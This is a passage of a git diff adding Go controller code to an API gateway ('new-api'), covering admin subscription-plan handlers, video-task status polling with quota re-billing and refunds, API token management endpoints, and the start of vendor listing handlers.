+func AdminUpdateSubscriptionPlan(c *gin.Context) {
+	id, _ := strconv.Atoi(c.Param("id"))
+	if id <= 0 {
+		common.ApiErrorMsg(c, "无效的ID")
+		return
+	}
+	var req AdminUpsertSubscriptionPlanRequest
+	if err := c.ShouldBindJSON(&req); err != nil {
+		common.ApiErrorMsg(c, "参数错误")
+		return
+	}
+	if strings.TrimSpace(req.Plan.Title) == "" {
+		common.ApiErrorMsg(c, "套餐标题不能为空")
+		return
+	}
+	if req.Plan.PriceAmount < 0 {
+		common.ApiErrorMsg(c, "价格不能为负数")
+		return
+	}
+	if req.Plan.PriceAmount > 9999 {
+		common.ApiErrorMsg(c, "价格不能超过9999")
+		return
+	}
+	req.Plan.Id = id
+	if req.Plan.Currency == "" {
+		req.Plan.Currency = "USD"
+	}
+	req.Plan.Currency = "USD"
+	if req.Plan.DurationUnit == "" {
+		req.Plan.DurationUnit = model.SubscriptionDurationMonth
+	}
+	if req.Plan.DurationValue <= 0 && req.Plan.DurationUnit != model.SubscriptionDurationCustom {
+		req.Plan.DurationValue = 1
+	}
+	if req.Plan.MaxPurchasePerUser < 0 {
+		common.ApiErrorMsg(c, "购买上限不能为负数")
+		return
+	}
+	if req.Plan.TotalAmount < 0 {
+		common.ApiErrorMsg(c, "总额度不能为负数")
+		return
+	}
+	req.Plan.UpgradeGroup = strings.TrimSpace(req.Plan.UpgradeGroup)
+	if req.Plan.UpgradeGroup != "" {
+		if _, ok := ratio_setting.GetGroupRatioCopy()[req.Plan.UpgradeGroup]; !ok {
+			common.ApiErrorMsg(c, "升级分组不存在")
+			return
+		}
+	}
+	req.Plan.QuotaResetPeriod = model.NormalizeResetPeriod(req.Plan.QuotaResetPeriod)
+	if req.Plan.QuotaResetPeriod == model.SubscriptionResetCustom && req.Plan.QuotaResetCustomSeconds <= 0 {
+		common.ApiErrorMsg(c, "自定义重置周期需大于0秒")
+		return
+	}
+
+	err := model.DB.Transaction(func(tx *gorm.DB) error {
+		// update plan (allow zero values updates with map)
+		updateMap := map[string]interface{}{
+			"title":                      req.Plan.Title,
+			"subtitle":                   req.Plan.Subtitle,
+			"price_amount":               req.Plan.PriceAmount,
+			"currency":                   req.Plan.Currency,
+			"duration_unit":              req.Plan.DurationUnit,
+			"duration_value":             req.Plan.DurationValue,
+			"custom_seconds":             req.Plan.CustomSeconds,
+			"enabled":                    req.Plan.Enabled,
+			"sort_order":                 req.Plan.SortOrder,
+			"stripe_price_id":            req.Plan.StripePriceId,
+			"creem_product_id":           req.Plan.CreemProductId,
+			"max_purchase_per_user":      req.Plan.MaxPurchasePerUser,
+			"total_amount":               req.Plan.TotalAmount,
+			"upgrade_group":              req.Plan.UpgradeGroup,
+			"quota_reset_period":         req.Plan.QuotaResetPeriod,
+			"quota_reset_custom_seconds": req.Plan.QuotaResetCustomSeconds,
+			"updated_at":                 common.GetTimestamp(),
+		}
+		if err := tx.Model(&model.SubscriptionPlan{}).Where("id = ?", id).Updates(updateMap).Error; err != nil {
+			return err
+		}
+		return nil
+	})
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	model.InvalidateSubscriptionPlanCache(id)
+	common.ApiSuccess(c, nil)
+}
+
+type AdminUpdateSubscriptionPlanStatusRequest struct {
+	Enabled *bool `json:"enabled"`
+}
+
+func AdminUpdateSubscriptionPlanStatus(c *gin.Context) {
+	id, _ := strconv.Atoi(c.Param("id"))
+	if id <= 0 {
+		common.ApiErrorMsg(c, "无效的ID")
+		return
+	}
+	var req AdminUpdateSubscriptionPlanStatusRequest
+	if err := c.ShouldBindJSON(&req); err != nil || req.Enabled == nil {
+		common.ApiErrorMsg(c, "参数错误")
+		return
+	}
+	if err := model.DB.Model(&model.SubscriptionPlan{}).Where("id = ?", id).Update("enabled", *req.Enabled).Error; err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	model.InvalidateSubscriptionPlanCache(id)
+	common.ApiSuccess(c, nil)
+}
+
+type AdminBindSubscriptionRequest struct {
+	UserId int `json:"user_id"`
+	PlanId int `json:"plan_id"`
+}
+
+func AdminBindSubscription(c *gin.Context) {
+	var req AdminBindSubscriptionRequest
+	if err := c.ShouldBindJSON(&req); err != nil || req.UserId <= 0 || req.PlanId <= 0 {
+		common.ApiErrorMsg(c, "参数错误")
+		return
+	}
+	msg, err := model.AdminBindSubscription(req.UserId, req.PlanId, "")
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	if msg != "" {
+		common.ApiSuccess(c, gin.H{"message": msg})
+		return
+	}
+	common.ApiSuccess(c, nil)
+}
+
+// ---- Admin: user subscription management ----
+
+func AdminListUserSubscriptions(c *gin.Context) {
+	userId, _ := strconv.Atoi(c.Param("id"))
+	if userId <= 0 {
+		common.ApiErrorMsg(c, "无效的用户ID")
+		return
+	}
+	subs, err := model.GetAllUserSubscriptions(userId)
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	common.ApiSuccess(c, subs)
+}
+
+type AdminCreateUserSubscriptionRequest struct {
+	PlanId int `json:"plan_id"`
+}
+
+// AdminCreateUserSubscription creates a new user subscription from a plan (no payment).
+func AdminCreateUserSubscription(c *gin.Context) {
+	userId, _ := strconv.Atoi(c.Param("id"))
+	if userId <= 0 {
+		common.ApiErrorMsg(c, "无效的用户ID")
+		return
+	}
+	var req AdminCreateUserSubscriptionRequest
+	if err := c.ShouldBindJSON(&req); err != nil || req.PlanId <= 0 {
+		common.ApiErrorMsg(c, "参数错误")
+		return
+	}
+	msg, err := model.AdminBindSubscription(userId, req.PlanId, "")
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	if msg != "" {
+		common.ApiSuccess(c, gin.H{"message": msg})
+		return
+	}
+	common.ApiSuccess(c, nil)
+}
+
+// AdminInvalidateUserSubscription cancels a user subscription immediately.
+func AdminInvalidateUserSubscription(c *gin.Context) {
+	subId, _ := strconv.Atoi(c.Param("id"))
+	if subId <= 0 {
+		common.ApiErrorMsg(c, "无效的订阅ID")
+		return
+	}
+	msg, err := model.AdminInvalidateUserSubscription(subId)
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	if msg != "" {
+		common.ApiSuccess(c, gin.H{"message": msg})
+		return
+	}
+	common.ApiSuccess(c, nil)
+}
+
+// AdminDeleteUserSubscription hard-deletes a user subscription.
+func AdminDeleteUserSubscription(c *gin.Context) {
+	subId, _ := strconv.Atoi(c.Param("id"))
+	if subId <= 0 {
+		common.ApiErrorMsg(c, "无效的订阅ID")
+		return
+	}
+	msg, err := model.AdminDeleteUserSubscription(subId)
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	if msg != "" {
+		common.ApiSuccess(c, gin.H{"message": msg})
+		return
+	}
+	common.ApiSuccess(c, nil)
+}
diff --git a/new-api/controller/task_video.go b/new-api/controller/task_video.go
new file mode 100644
index 0000000..ce808df
--- /dev/null
+++ b/new-api/controller/task_video.go
@@ -0,0 +1,313 @@
+package controller
+
+import (
+	"context"
+	"encoding/json"
+	"fmt"
+	"io"
+	"time"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/constant"
+	"github.com/QuantumNous/new-api/dto"
+	"github.com/QuantumNous/new-api/logger"
+	"github.com/QuantumNous/new-api/model"
+	"github.com/QuantumNous/new-api/relay"
+	"github.com/QuantumNous/new-api/relay/channel"
+	relaycommon "github.com/QuantumNous/new-api/relay/common"
+	"github.com/QuantumNous/new-api/setting/ratio_setting"
+)
+
+func UpdateVideoTaskAll(ctx context.Context, platform constant.TaskPlatform, taskChannelM map[int][]string, taskM map[string]*model.Task) error {
+	for channelId, taskIds := range taskChannelM {
+		if err := updateVideoTaskAll(ctx, platform, channelId, taskIds, taskM); err != nil {
+			logger.LogError(ctx, fmt.Sprintf("Channel #%d failed to update video async tasks: %s", channelId, err.Error()))
+		}
+	}
+	return nil
+}
+
+func updateVideoTaskAll(ctx context.Context, platform constant.TaskPlatform, channelId int, taskIds []string, taskM map[string]*model.Task) error {
+	logger.LogInfo(ctx, fmt.Sprintf("Channel #%d pending video tasks: %d", channelId, len(taskIds)))
+	if len(taskIds) == 0 {
+		return nil
+	}
+	cacheGetChannel, err := model.CacheGetChannel(channelId)
+	if err != nil {
+		errUpdate := model.TaskBulkUpdate(taskIds, map[string]any{
+			"fail_reason": fmt.Sprintf("Failed to get channel info, channel ID: %d", channelId),
+			"status":      "FAILURE",
+			"progress":    "100%",
+		})
+		if errUpdate != nil {
+			common.SysLog(fmt.Sprintf("UpdateVideoTask error: %v", errUpdate))
+		}
+		return fmt.Errorf("CacheGetChannel failed: %w", err)
+	}
+	adaptor := relay.GetTaskAdaptor(platform)
+	if adaptor == nil {
+		return fmt.Errorf("video adaptor not found")
+	}
+	info := &relaycommon.RelayInfo{}
+	info.ChannelMeta = &relaycommon.ChannelMeta{
+		ChannelBaseUrl: cacheGetChannel.GetBaseURL(),
+	}
+	info.ApiKey = cacheGetChannel.Key
+	adaptor.Init(info)
+	for _, taskId := range taskIds {
+		if err := updateVideoSingleTask(ctx, adaptor, cacheGetChannel, taskId, taskM); err != nil {
+			logger.LogError(ctx, fmt.Sprintf("Failed to update video task %s: %s", taskId, err.Error()))
+		}
+	}
+	return nil
+}
+
+func updateVideoSingleTask(ctx context.Context, adaptor channel.TaskAdaptor, channel *model.Channel, taskId string, taskM map[string]*model.Task) error {
+	baseURL := constant.ChannelBaseURLs[channel.Type]
+	if channel.GetBaseURL() != "" {
+		baseURL = channel.GetBaseURL()
+	}
+	proxy := channel.GetSetting().Proxy
+
+	task := taskM[taskId]
+	if task == nil {
+		logger.LogError(ctx, fmt.Sprintf("Task %s not found in taskM", taskId))
+		return fmt.Errorf("task %s not found", taskId)
+	}
+	key := channel.Key
+
+	privateData := task.PrivateData
+	if privateData.Key != "" {
+		key = privateData.Key
+	}
+	resp, err := adaptor.FetchTask(baseURL, key, map[string]any{
+		"task_id": taskId,
+		"action":  task.Action,
+	}, proxy)
+	if err != nil {
+		return fmt.Errorf("fetchTask failed for task %s: %w", taskId, err)
+	}
+	//if resp.StatusCode != http.StatusOK {
+	//return fmt.Errorf("get Video Task status code: %d", resp.StatusCode)
+	//}
+	defer resp.Body.Close()
+	responseBody, err := io.ReadAll(resp.Body)
+	if err != nil {
+		return fmt.Errorf("readAll failed for task %s: %w", taskId, err)
+	}
+
+	logger.LogDebug(ctx, fmt.Sprintf("UpdateVideoSingleTask response: %s", string(responseBody)))
+
+	taskResult := &relaycommon.TaskInfo{}
+	// try parse as New API response format
+	var responseItems dto.TaskResponse[model.Task]
+	if err = common.Unmarshal(responseBody, &responseItems); err == nil && responseItems.IsSuccess() {
+		logger.LogDebug(ctx, fmt.Sprintf("UpdateVideoSingleTask parsed as new api response format: %+v", responseItems))
+		t := responseItems.Data
+		taskResult.TaskID = t.TaskID
+		taskResult.Status = string(t.Status)
+		taskResult.Url = t.FailReason
+		taskResult.Progress = t.Progress
+		taskResult.Reason = t.FailReason
+		task.Data = t.Data
+	} else if taskResult, err = adaptor.ParseTaskResult(responseBody); err != nil {
+		return fmt.Errorf("parseTaskResult failed for task %s: %w", taskId, err)
+	} else {
+		task.Data = redactVideoResponseBody(responseBody)
+	}
+
+	logger.LogDebug(ctx, fmt.Sprintf("UpdateVideoSingleTask taskResult: %+v", taskResult))
+
+	now := time.Now().Unix()
+	if taskResult.Status == "" {
+		//return fmt.Errorf("task %s status is empty", taskId)
+		taskResult = relaycommon.FailTaskInfo("upstream returned empty status")
+	}
+
+	// 记录原本的状态，防止重复退款
+	shouldRefund := false
+	quota := task.Quota
+	preStatus := task.Status
+
+	task.Status = model.TaskStatus(taskResult.Status)
+	switch taskResult.Status {
+	case model.TaskStatusSubmitted:
+		task.Progress = "10%"
+	case model.TaskStatusQueued:
+		task.Progress = "20%"
+	case model.TaskStatusInProgress:
+		task.Progress = "30%"
+		if task.StartTime == 0 {
+			task.StartTime = now
+		}
+	case model.TaskStatusSuccess:
+		task.Progress = "100%"
+		if task.FinishTime == 0 {
+			task.FinishTime = now
+		}
+		if !(len(taskResult.Url) > 5 && taskResult.Url[:5] == "data:") {
+			task.FailReason = taskResult.Url
+		}
+
+		// 如果返回了 total_tokens 并且配置了模型倍率(非固定价格),则重新计费
+		if taskResult.TotalTokens > 0 {
+			// 获取模型名称
+			var taskData map[string]interface{}
+			if err := json.Unmarshal(task.Data, &taskData); err == nil {
+				if modelName, ok := taskData["model"].(string); ok && modelName != "" {
+					// 获取模型价格和倍率
+					modelRatio, hasRatioSetting, _ := ratio_setting.GetModelRatio(modelName)
+					// 只有配置了倍率(非固定价格)时才按 token 重新计费
+					if hasRatioSetting && modelRatio > 0 {
+						// 获取用户和组的倍率信息
+						group := task.Group
+						if group == "" {
+							user, err := model.GetUserById(task.UserId, false)
+							if err == nil {
+								group = user.Group
+							}
+						}
+						if group != "" {
+							groupRatio := ratio_setting.GetGroupRatio(group)
+							userGroupRatio, hasUserGroupRatio := ratio_setting.GetGroupGroupRatio(group, group)
+
+							var finalGroupRatio float64
+							if hasUserGroupRatio {
+								finalGroupRatio = userGroupRatio
+							} else {
+								finalGroupRatio = groupRatio
+							}
+
+							// 计算实际应扣费额度: totalTokens * modelRatio * groupRatio
+							actualQuota := int(float64(taskResult.TotalTokens) * modelRatio * finalGroupRatio)
+
+							// 计算差额
+							preConsumedQuota := task.Quota
+							quotaDelta := actualQuota - preConsumedQuota
+
+							if quotaDelta > 0 {
+								// 需要补扣费
+								logger.LogInfo(ctx, fmt.Sprintf("视频任务 %s 预扣费后补扣费：%s（实际消耗：%s，预扣费：%s，tokens：%d）",
+									task.TaskID,
+									logger.LogQuota(quotaDelta),
+									logger.LogQuota(actualQuota),
+									logger.LogQuota(preConsumedQuota),
+									taskResult.TotalTokens,
+								))
+								if err := model.DecreaseUserQuota(task.UserId, quotaDelta, false); err != nil {
+									logger.LogError(ctx, fmt.Sprintf("补扣费失败: %s", err.Error()))
+								} else {
+									model.UpdateUserUsedQuotaAndRequestCount(task.UserId, quotaDelta)
+									model.UpdateChannelUsedQuota(task.ChannelId, quotaDelta)
+									task.Quota = actualQuota // 更新任务记录的实际扣费额度
+
+									// 记录消费日志
+									logContent := fmt.Sprintf("视频任务成功补扣费，模型倍率 %.2f，分组倍率 %.2f，tokens %d，预扣费 %s，实际扣费 %s，补扣费 %s",
+										modelRatio, finalGroupRatio, taskResult.TotalTokens,
+										logger.LogQuota(preConsumedQuota), logger.LogQuota(actualQuota), logger.LogQuota(quotaDelta))
+									model.RecordLog(task.UserId, model.LogTypeSystem, logContent)
+								}
+							} else if quotaDelta < 0 {
+								// 需要退还多扣的费用
+								refundQuota := -quotaDelta
+								logger.LogInfo(ctx, fmt.Sprintf("视频任务 %s 预扣费后返还：%s（实际消耗：%s，预扣费：%s，tokens：%d）",
+									task.TaskID,
+									logger.LogQuota(refundQuota),
+									logger.LogQuota(actualQuota),
+									logger.LogQuota(preConsumedQuota),
+									taskResult.TotalTokens,
+								))
+								if err := model.IncreaseUserQuota(task.UserId, refundQuota, false); err != nil {
+									logger.LogError(ctx, fmt.Sprintf("退还预扣费失败: %s", err.Error()))
+								} else {
+									task.Quota = actualQuota // 更新任务记录的实际扣费额度
+
+									// 记录退款日志
+									logContent := fmt.Sprintf("视频任务成功退还多扣费用，模型倍率 %.2f，分组倍率 %.2f，tokens %d，预扣费 %s，实际扣费 %s，退还 %s",
+										modelRatio, finalGroupRatio, taskResult.TotalTokens,
+										logger.LogQuota(preConsumedQuota), logger.LogQuota(actualQuota), logger.LogQuota(refundQuota))
+									model.RecordLog(task.UserId, model.LogTypeSystem, logContent)
+								}
+							} else {
+								// quotaDelta == 0, 预扣费刚好准确
+								logger.LogInfo(ctx, fmt.Sprintf("视频任务 %s 预扣费准确（%s，tokens：%d）",
+									task.TaskID, logger.LogQuota(actualQuota), taskResult.TotalTokens))
+							}
+						}
+					}
+				}
+			}
+		}
+	case model.TaskStatusFailure:
+		logger.LogJson(ctx, fmt.Sprintf("Task %s failed", taskId), task)
+		task.Status = model.TaskStatusFailure
+		task.Progress = "100%"
+		if task.FinishTime == 0 {
+			task.FinishTime = now
+		}
+		task.FailReason = taskResult.Reason
+		logger.LogInfo(ctx, fmt.Sprintf("Task %s failed: %s", task.TaskID, task.FailReason))
+		taskResult.Progress = "100%"
+		if quota != 0 {
+			if preStatus != model.TaskStatusFailure {
+				shouldRefund = true
+			} else {
+				logger.LogWarn(ctx, fmt.Sprintf("Task %s already in failure status, skip refund", task.TaskID))
+			}
+		}
+	default:
+		return fmt.Errorf("unknown task status %s for task %s", taskResult.Status, taskId)
+	}
+	if taskResult.Progress != "" {
+		task.Progress = taskResult.Progress
+	}
+	if err := task.Update(); err != nil {
+		common.SysLog("UpdateVideoTask task error: " + err.Error())
+		shouldRefund = false
+	}
+
+	if shouldRefund {
+		// 任务失败且之前状态不是失败才退还额度，防止重复退还
+		if err := model.IncreaseUserQuota(task.UserId, quota, false); err != nil {
+			logger.LogWarn(ctx, "Failed to increase user quota: "+err.Error())
+		}
+		logContent := fmt.Sprintf("Video async task failed %s, refund %s", task.TaskID, logger.LogQuota(quota))
+		model.RecordLog(task.UserId, model.LogTypeSystem, logContent)
+	}
+
+	return nil
+}
+
+func redactVideoResponseBody(body []byte) []byte {
+	var m map[string]any
+	if err := json.Unmarshal(body, &m); err != nil {
+		return body
+	}
+	resp, _ := m["response"].(map[string]any)
+	if resp != nil {
+		delete(resp, "bytesBase64Encoded")
+		if v, ok := resp["video"].(string); ok {
+			resp["video"] = truncateBase64(v)
+		}
+		if vs, ok := resp["videos"].([]any); ok {
+			for i := range vs {
+				if vm, ok := vs[i].(map[string]any); ok {
+					delete(vm, "bytesBase64Encoded")
+				}
+			}
+		}
+	}
+	b, err := json.Marshal(m)
+	if err != nil {
+		return body
+	}
+	return b
+}
+
+func truncateBase64(s string) string {
+	const maxKeep = 256
+	if len(s) <= maxKeep {
+		return s
+	}
+	return s[:maxKeep] + "..."
+}
diff --git a/new-api/controller/token.go b/new-api/controller/token.go
new file mode 100644
index 0000000..836e9b2
--- /dev/null
+++ b/new-api/controller/token.go
@@ -0,0 +1,359 @@
+package controller
+
+import (
+	"fmt"
+	"net/http"
+	"strconv"
+	"strings"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/i18n"
+	"github.com/QuantumNous/new-api/model"
+	"github.com/QuantumNous/new-api/setting/operation_setting"
+
+	"github.com/gin-gonic/gin"
+)
+
+func buildMaskedTokenResponse(token *model.Token) *model.Token {
+	if token == nil {
+		return nil
+	}
+	maskedToken := *token
+	maskedToken.Key = token.GetMaskedKey()
+	return &maskedToken
+}
+
+func buildMaskedTokenResponses(tokens []*model.Token) []*model.Token {
+	maskedTokens := make([]*model.Token, 0, len(tokens))
+	for _, token := range tokens {
+		maskedTokens = append(maskedTokens, buildMaskedTokenResponse(token))
+	}
+	return maskedTokens
+}
+
+func GetAllTokens(c *gin.Context) {
+	userId := c.GetInt("id")
+	pageInfo := common.GetPageQuery(c)
+	tokens, err := model.GetAllUserTokens(userId, pageInfo.GetStartIdx(), pageInfo.GetPageSize())
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	total, _ := model.CountUserTokens(userId)
+	pageInfo.SetTotal(int(total))
+	pageInfo.SetItems(buildMaskedTokenResponses(tokens))
+	common.ApiSuccess(c, pageInfo)
+}
+
+func SearchTokens(c *gin.Context) {
+	userId := c.GetInt("id")
+	keyword := c.Query("keyword")
+	token := c.Query("token")
+
+	pageInfo := common.GetPageQuery(c)
+
+	tokens, total, err := model.SearchUserTokens(userId, keyword, token, pageInfo.GetStartIdx(), pageInfo.GetPageSize())
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	pageInfo.SetTotal(int(total))
+	pageInfo.SetItems(buildMaskedTokenResponses(tokens))
+	common.ApiSuccess(c, pageInfo)
+}
+
+func GetToken(c *gin.Context) {
+	id, err := strconv.Atoi(c.Param("id"))
+	userId := c.GetInt("id")
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	token, err := model.GetTokenByIds(id, userId)
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	common.ApiSuccess(c, buildMaskedTokenResponse(token))
+}
+
+func GetTokenKey(c *gin.Context) {
+	id, err := strconv.Atoi(c.Param("id"))
+	userId := c.GetInt("id")
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	token, err := model.GetTokenByIds(id, userId)
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	common.ApiSuccess(c, gin.H{
+		"key": token.GetFullKey(),
+	})
+}
+
+func GetTokenStatus(c *gin.Context) {
+	tokenId := c.GetInt("token_id")
+	userId := c.GetInt("id")
+	token, err := model.GetTokenByIds(tokenId, userId)
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	expiredAt := token.ExpiredTime
+	if expiredAt == -1 {
+		expiredAt = 0
+	}
+	c.JSON(http.StatusOK, gin.H{
+		"object":          "credit_summary",
+		"total_granted":   token.RemainQuota,
+		"total_used":      0, // not supported currently
+		"total_available": token.RemainQuota,
+		"expires_at":      expiredAt * 1000,
+	})
+}
+
+func GetTokenUsage(c *gin.Context) {
+	authHeader := c.GetHeader("Authorization")
+	if authHeader == "" {
+		c.JSON(http.StatusUnauthorized, gin.H{
+			"success": false,
+			"message": "No Authorization header",
+		})
+		return
+	}
+
+	parts := strings.Split(authHeader, " ")
+	if len(parts) != 2 || strings.ToLower(parts[0]) != "bearer" {
+		c.JSON(http.StatusUnauthorized, gin.H{
+			"success": false,
+			"message": "Invalid Bearer token",
+		})
+		return
+	}
+	tokenKey := parts[1]
+
+	token, err := model.GetTokenByKey(strings.TrimPrefix(tokenKey, "sk-"), false)
+	if err != nil {
+		common.SysError("failed to get token by key: " + err.Error())
+		common.ApiErrorI18n(c, i18n.MsgTokenGetInfoFailed)
+		return
+	}
+
+	expiredAt := token.ExpiredTime
+	if expiredAt == -1 {
+		expiredAt = 0
+	}
+
+	c.JSON(http.StatusOK, gin.H{
+		"code":    true,
+		"message": "ok",
+		"data": gin.H{
+			"object":               "token_usage",
+			"name":                 token.Name,
+			"total_granted":        token.RemainQuota + token.UsedQuota,
+			"total_used":           token.UsedQuota,
+			"total_available":      token.RemainQuota,
+			"unlimited_quota":      token.UnlimitedQuota,
+			"model_limits":         token.GetModelLimitsMap(),
+			"model_limits_enabled": token.ModelLimitsEnabled,
+			"expires_at":           expiredAt,
+		},
+	})
+}
+
+func AddToken(c *gin.Context) {
+	token := model.Token{}
+	err := c.ShouldBindJSON(&token)
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	if len(token.Name) > 50 {
+		common.ApiErrorI18n(c, i18n.MsgTokenNameTooLong)
+		return
+	}
+	// 非无限额度时，检查额度值是否超出有效范围
+	if !token.UnlimitedQuota {
+		if token.RemainQuota < 0 {
+			common.ApiErrorI18n(c, i18n.MsgTokenQuotaNegative)
+			return
+		}
+		maxQuotaValue := int((1000000000 * common.QuotaPerUnit))
+		if token.RemainQuota > maxQuotaValue {
+			common.ApiErrorI18n(c, i18n.MsgTokenQuotaExceedMax, map[string]any{"Max": maxQuotaValue})
+			return
+		}
+	}
+	// 检查用户令牌数量是否已达上限
+	maxTokens := operation_setting.GetMaxUserTokens()
+	count, err := model.CountUserTokens(c.GetInt("id"))
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	if int(count) >= maxTokens {
+		c.JSON(http.StatusOK, gin.H{
+			"success": false,
+			"message": fmt.Sprintf("已达到最大令牌数量限制 (%d)", maxTokens),
+		})
+		return
+	}
+	key, err := common.GenerateKey()
+	if err != nil {
+		common.ApiErrorI18n(c, i18n.MsgTokenGenerateFailed)
+		common.SysLog("failed to generate token key: " + err.Error())
+		return
+	}
+	cleanToken := model.Token{
+		UserId:             c.GetInt("id"),
+		Name:               token.Name,
+		Key:                key,
+		CreatedTime:        common.GetTimestamp(),
+		AccessedTime:       common.GetTimestamp(),
+		ExpiredTime:        token.ExpiredTime,
+		RemainQuota:        token.RemainQuota,
+		UnlimitedQuota:     token.UnlimitedQuota,
+		ModelLimitsEnabled: token.ModelLimitsEnabled,
+		ModelLimits:        token.ModelLimits,
+		AllowIps:           token.AllowIps,
+		Group:              token.Group,
+		CrossGroupRetry:    token.CrossGroupRetry,
+	}
+	err = cleanToken.Insert()
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	c.JSON(http.StatusOK, gin.H{
+		"success": true,
+		"message": "",
+	})
+}
+
+func DeleteToken(c *gin.Context) {
+	id, _ := strconv.Atoi(c.Param("id"))
+	userId := c.GetInt("id")
+	err := model.DeleteTokenById(id, userId)
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	c.JSON(http.StatusOK, gin.H{
+		"success": true,
+		"message": "",
+	})
+}
+
+func UpdateToken(c *gin.Context) {
+	userId := c.GetInt("id")
+	statusOnly := c.Query("status_only")
+	token := model.Token{}
+	err := c.ShouldBindJSON(&token)
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	if len(token.Name) > 50 {
+		common.ApiErrorI18n(c, i18n.MsgTokenNameTooLong)
+		return
+	}
+	if !token.UnlimitedQuota {
+		if token.RemainQuota < 0 {
+			common.ApiErrorI18n(c, i18n.MsgTokenQuotaNegative)
+			return
+		}
+		maxQuotaValue := int((1000000000 * common.QuotaPerUnit))
+		if token.RemainQuota > maxQuotaValue {
+			common.ApiErrorI18n(c, i18n.MsgTokenQuotaExceedMax, map[string]any{"Max": maxQuotaValue})
+			return
+		}
+	}
+	cleanToken, err := model.GetTokenByIds(token.Id, userId)
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	if token.Status == common.TokenStatusEnabled {
+		if cleanToken.Status == common.TokenStatusExpired && cleanToken.ExpiredTime <= common.GetTimestamp() && cleanToken.ExpiredTime != -1 {
+			common.ApiErrorI18n(c, i18n.MsgTokenExpiredCannotEnable)
+			return
+		}
+		if cleanToken.Status == common.TokenStatusExhausted && cleanToken.RemainQuota <= 0 && !cleanToken.UnlimitedQuota {
+			common.ApiErrorI18n(c, i18n.MsgTokenExhaustedCannotEable)
+			return
+		}
+	}
+	if statusOnly != "" {
+		cleanToken.Status = token.Status
+	} else {
+		// If you add more fields, please also update token.Update()
+		cleanToken.Name = token.Name
+		cleanToken.ExpiredTime = token.ExpiredTime
+		cleanToken.RemainQuota = token.RemainQuota
+		cleanToken.UnlimitedQuota = token.UnlimitedQuota
+		cleanToken.ModelLimitsEnabled = token.ModelLimitsEnabled
+		cleanToken.ModelLimits = token.ModelLimits
+		cleanToken.AllowIps = token.AllowIps
+		cleanToken.Group = token.Group
+		cleanToken.CrossGroupRetry = token.CrossGroupRetry
+	}
+	err = cleanToken.Update()
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	c.JSON(http.StatusOK, gin.H{
+		"success": true,
+		"message": "",
+		"data":    buildMaskedTokenResponse(cleanToken),
+	})
+}
+
+type TokenBatch struct {
+	Ids []int `json:"ids"`
+}
+
+func DeleteTokenBatch(c *gin.Context) {
+	tokenBatch := TokenBatch{}
+	if err := c.ShouldBindJSON(&tokenBatch); err != nil || len(tokenBatch.Ids) == 0 {
+		common.ApiErrorI18n(c, i18n.MsgInvalidParams)
+		return
+	}
+	userId := c.GetInt("id")
+	count, err := model.BatchDeleteTokens(tokenBatch.Ids, userId)
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	c.JSON(http.StatusOK, gin.H{
+		"success": true,
+		"message": "",
+		"data":    count,
+	})
+}
+
+func GetTokenKeysBatch(c *gin.Context) {
+	tokenBatch := TokenBatch{}
+	if err := c.ShouldBindJSON(&tokenBatch); err != nil || len(tokenBatch.Ids) == 0 {
+		common.ApiErrorI18n(c, i18n.MsgInvalidParams)
+		return
+	}
+	if len(tokenBatch.Ids) > 100 {
+		common.ApiErrorI18n(c, i18n.MsgBatchTooMany, map[string]any{"Max": 100})
+		return
+	}
+	userId := c.GetInt("id")
+	tokens, err := model.GetTokenKeysByIds(tokenBatch.Ids, userId)
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	keysMap := make(map[int]string)
+	for _, t := range tokens {
+		keysMap[t.Id] = t.GetFullKey()
+	}
+	common.ApiSuccess(c, gin.H{"keys": keysMap})
+}
diff --git a/new-api/controller/vendor_meta.go b/new-api/controller/vendor_meta.go
new file mode 100644
index 0000000..243ed18
--- /dev/null
+++ b/new-api/controller/vendor_meta.go
@@ -0,0 +1,124 @@
+package controller
+
+import (
+	"strconv"
+
+	"github.com/QuantumNous/new-api/common"
+	"github.com/QuantumNous/new-api/model"
+
+	"github.com/gin-gonic/gin"
+)
+
+// GetAllVendors 获取供应商列表（分页）
+func GetAllVendors(c *gin.Context) {
+	pageInfo := common.GetPageQuery(c)
+	vendors, err := model.GetAllVendors(pageInfo.GetStartIdx(), pageInfo.GetPageSize())
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	var total int64
+	model.DB.Model(&model.Vendor{}).Count(&total)
+	pageInfo.SetTotal(int(total))
+	pageInfo.SetItems(vendors)
+	common.ApiSuccess(c, pageInfo)
+}
+
+// SearchVendors 搜索供应商
+func SearchVendors(c *gin.Context) {
+	keyword := c.Query("keyword")
+	pageInfo := common.GetPageQuery(c)
+	vendors, total, err := model.SearchVendors(keyword, pageInfo.GetStartIdx(), pageInfo.GetPageSize())
+	if err != nil {
+		common.ApiError(c, err)
+		return
+	}
+	pageInfo.SetTotal(int(total))
+	pageInfo.SetItems(vendors)
+	common.ApiSuccess(c, pageInfo)
+}
+
+// GetVendorMeta 根据 ID 获取供应商
+func GetVendorMeta(c *gin.Context) {
+	idStr := c.Param("id")
+	id, err := strconv.Atoi(idStr)
+	if err != nil {
+		common.ApiError(c, err)
